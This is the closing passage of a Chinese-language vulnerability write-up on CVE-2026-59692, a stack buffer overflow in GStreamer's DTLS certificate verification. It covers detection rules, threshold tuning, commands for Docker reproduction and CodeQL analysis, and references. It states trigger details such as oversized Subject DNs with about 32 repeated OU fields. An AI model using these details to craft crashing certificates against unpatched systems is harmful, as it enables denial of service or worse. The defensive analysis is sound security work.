  "AddressSanitizer"
  "memcpy"
then raise: HIGH - DTLS certificate verification crash signature

这条规则的优点是误报低,因为它同时要求命中 DTLS 证书验证路径和内存破坏/崩溃特征。缺点是它明显依赖符号或至少部分崩溃文本,因此更适合调试、预发或带崩溃上报的环境。

第二类规则是生产环境里更现实的证书元数据异常检测。它适合 TLS/DTLS 终端、反向代理、边界网关、抓包解码器或任何能看到对端证书 Subject 的位置:

if subject_dn_length > normal_threshold
or count("OU=" in subject_dn) >= 20
or subject_dn matches repeated-pattern OU={same-shape values}
then raise: MEDIUM - suspicious oversized certificate subject

这里的 normal_threshold 不一定非要写死成 2048。更实用的做法通常是先基于正常流量做基线,再对远高于常态的 Subject DN 做告警,因为 2048 只是脆弱栈缓冲区边界,不一定是日志系统、证书库或代理层最适合的检测阈值。

第三类规则是生产环境里的相关性告警。单独一条握手失败、单独一个长 Subject,价值都有限;真正应该高优先级告警的是它们在时间和来源上的重合:

group by remote_ip over 5m
where:
  dtls_handshake_failed >= 3
  and suspicious_subject_dn >= 1
  and (process_restart >= 1 or crash_signature >= 1)
then raise: CRITICAL - probable CVE-2026-59692 exploitation attempt

这类规则最适合真实生产环境,因为它不要求每台机器都开 ASan,也不要求每次崩溃都保留完整符号。只要你能拿到握手失败事件、实例重启事件和一部分证书元数据,就能把大量背景噪声压下去。

如果要把这三类规则压缩成一个最小化落地方案,优先级可以这样排:

  • 有崩溃上报平台: 先上崩溃签名规则
  • 有证书可观测性: 再上 Subject DN 异常规则
  • 有集中式日志/时序系统: 最后上来源 IP 相关性规则

这样排的原因很简单: CVE-2026-59692 最难的不是理解漏洞,而是在真实环境里把“异常证书”“握手失败”“实例崩溃”三件事串成同一个安全事件。前面几节已经给了因果链,这一节做的只是把那条因果链翻译成可执行的检测逻辑。

9.7 误报怎么控,阈值怎么定

检测规则真正上线后,最容易遇到的问题不是“看不见漏洞”,而是“看见了太多不重要的异常”。因此这类规则如果想在生产环境里长期存活,阈值和误报控制必须单独设计。

第一,最好区分“理想阈值”和“可观测阈值”。对本文漏洞来说,最理想的边界其实是 X509_NAME_print_ex(..., XN_FLAG_MULTILINE) 的真实输出长度,因为脆弱代码正是拿这个长度去驱动 BIO_read()。如果你的检测链路能在同一路径上拿到这个格式化长度,那么:

  • >= 1800 可以作为接近危险边界的预警区间
  • >= 2048 可以作为高优先级风险边界
  • >= 2081 在本文默认构造下已经对应最小离线越界边界,但还不应直接等同于已验证的最小完整握手复现阈值

把 1800 单独列出来,是因为它可以在真正踩到脆弱边界之前,先暴露一批已经明显偏离正常证书形态的输入。

第二,很多真实环境并拿不到 X509_NAME_print_ex() 的同款长度,而只能看到代理层、网关层或日志系统自己记录的 Subject 文本。这时就不要机械套用 2048。因为不同系统对 Subject 的格式化方式不同,字符串长度并不等价。更稳妥的做法是:

  1. 先收集 7 到 14 天正常流量
  2. 分别统计 subject_dn_length、OU 个数、重复字段比例的 P95、P99、P99.9
  3. 把高于 P99.9 的长尾输入先放进观察名单,而不是直接告警

如果没有历史基线可用,一个更务实的冷启动方式是先用分级阈值:

  • OU >= 8: 低优先级观察
  • OU >= 16: 中优先级可疑
  • OU >= 32: 高优先级,已经接近本文最小触发规模
  • subject_dn_length 远高于你环境常态均值: 提升风险等级

这些值不是协议标准,也不是所有环境通用真理;它们的意义在于给没有现成基线的团队一个可启动的默认盘面。上线后仍然应该根据自己的流量再调。

第三,不要让单特征独立触发最高级别告警。长 Subject 只能说明“输入异常”,并不自动等于“漏洞命中”。更实用的策略是把信号拆成分层计分:

  • 长 Subject DN: +1
  • 重复 OU= 或模式化 Subject: +1
  • 同源 DTLS 握手连续失败: +2
  • 进程重启或崩溃签名命中: +3

当累计分值超过某个阈值再升级到高优先级告警,这样能显著减少“单个奇怪证书就吵醒值班”的情况。

第四,版本信息应该参与告警抑制。如果资产清单已经确认某一批实例全部升级到 1.28.5 或更高版本,那么它们收到长 Subject 时,风险判断就应该和脆弱版本不同。最合理的做法不是完全忽略,而是:

  • 对脆弱版本: 保持高敏感度
  • 对已修复版本: 记录异常输入,但默认降级处理
  • 对版本未知资产: 保持保守,按高风险路径对待

这样做能避免一个常见问题: 修复后因为仍然能观察到“长 Subject”而被持续误报,最终反过来削弱告警系统的可信度。

如果把阈值治理压缩成一句最重要的工程原则,就是:

先围绕自己的正常流量做基线,
再用“异常证书 + 握手失败 + 崩溃/重启”做相关性升级,
不要把任何单一字符串长度条件直接当成最终告警。

10. 结语

CVE-2026-59692 的研究价值,不在于它展示了多么复杂的利用技巧,而在于它把一次非常经典的内存边界错误,几乎原封不动地摆在了研究者面前。

这次分析先用最小容器环境证明:同一个恶意证书输入会在 2026-07-08 之前的脆弱版本 1.28.4 上稳定触发 AddressSanitizer: stack-buffer-overflow,而在同一天发布修复的 1.28.5 上不再触发越界。随后再回到底层代码,确认根因就是 openssl_verify_callback() 把 X509_NAME_print_ex() 返回的实际长度未经约束地交给了固定大小栈数组。最后再从 CodeQL 视角把这件事抽象成可迁移的审计规则,使这套分析从单个 CVE 延伸成可复用的方法。

真正值得保留下来的未必是某个具体 PoC,而是这套工作方式:

  • 先复现,确保结论可验证
  • 再读补丁,确认根因和修复边界
  • 最后抽象模式,把单点分析变成可复用的审计能力

这也是为什么像 CVE-2026-59692 这样的样本,虽然表面上只是一次栈溢出,但非常适合作为深入代码分析文章的主角。

附录 A:关键命令速查

直接复用这套实验流程时,最常用的命令如下。

执行全部复现:

./scripts/run_docker_repro.sh all

只跑脆弱版本:

./scripts/run_docker_repro.sh vuln

只跑修复版本:

./scripts/run_docker_repro.sh fixed

手动拆开执行 Docker Compose:

docker compose build vuln
docker compose run --rm vuln

docker compose build fixed
docker compose run --rm fixed

建立 CodeQL 数据库:

./scripts/setup_codeql_gstreamer.sh 1.28.4 1.28.5

安装查询依赖:

codeql pack install analysis/codeql

分析脆弱版数据库:

codeql database analyze \
  analysis/codeql-db/gstreamer-1.28.4 \
  analysis/codeql/CVE-2026-59692-fixed-stack-buffer.ql \
  --format=csv \
  --output=analysis/codeql/results-1.28.4.csv

分析修复版数据库:

codeql database analyze \
  analysis/codeql-db/gstreamer-1.28.5 \
  analysis/codeql/CVE-2026-59692-fixed-stack-buffer.ql \
  --format=csv \
  --output=analysis/codeql/results-1.28.5.csv

附录 B:参考资料

本文正文和实验结论主要基于以下资料与本地验证结果整理而成。

  1. NVD Record: https://nvd.nist.gov/vuln/detail/CVE-2026-59692
  2. CVE JSON 5 Record: https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/59xxx/CVE-2026-59692.json
  3. GStreamer Security Advisory GStreamer-SA-2026-0062: https://gstreamer.freedesktop.org/security/sa-2026-0062.html
  4. GStreamer 1.28 Release Notes: https://gstreamer.freedesktop.org/releases/1.28/
  5. Red Hat CVE Page: https://access.redhat.com/security/cve/CVE-2026-59692
  6. Red Hat Errata RHSA-2026:47179: https://access.redhat.com/errata/RHSA-2026:47179
  7. Red Hat Errata RHSA-2026:47180: https://access.redhat.com/errata/RHSA-2026:47180
  8. Red Hat Errata RHSA-2026:47731: https://access.redhat.com/errata/RHSA-2026:47731
  9. GitHub Advisory GHSA-f48p-mg4r-fhww: https://github.com/advisories/GHSA-f48p-mg4r-fhww
  10. GStreamer Patch MR 12053.patch: https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/12053.patch
  11. Exploit-DB search page: https://www.exploit-db.com/search?cve=2026-59692

附录 C:说明

本文中的版本判断、复现日志和 CodeQL 结果均以 2026-08-10 的仓库状态为准。关于漏洞影响面,文中明确区分了“已通过本地实验和源码分析验证的事实”与“基于漏洞类型推断的潜在上限”;没有公开 exploit 佐证的部分,均未当作已验证结论表述。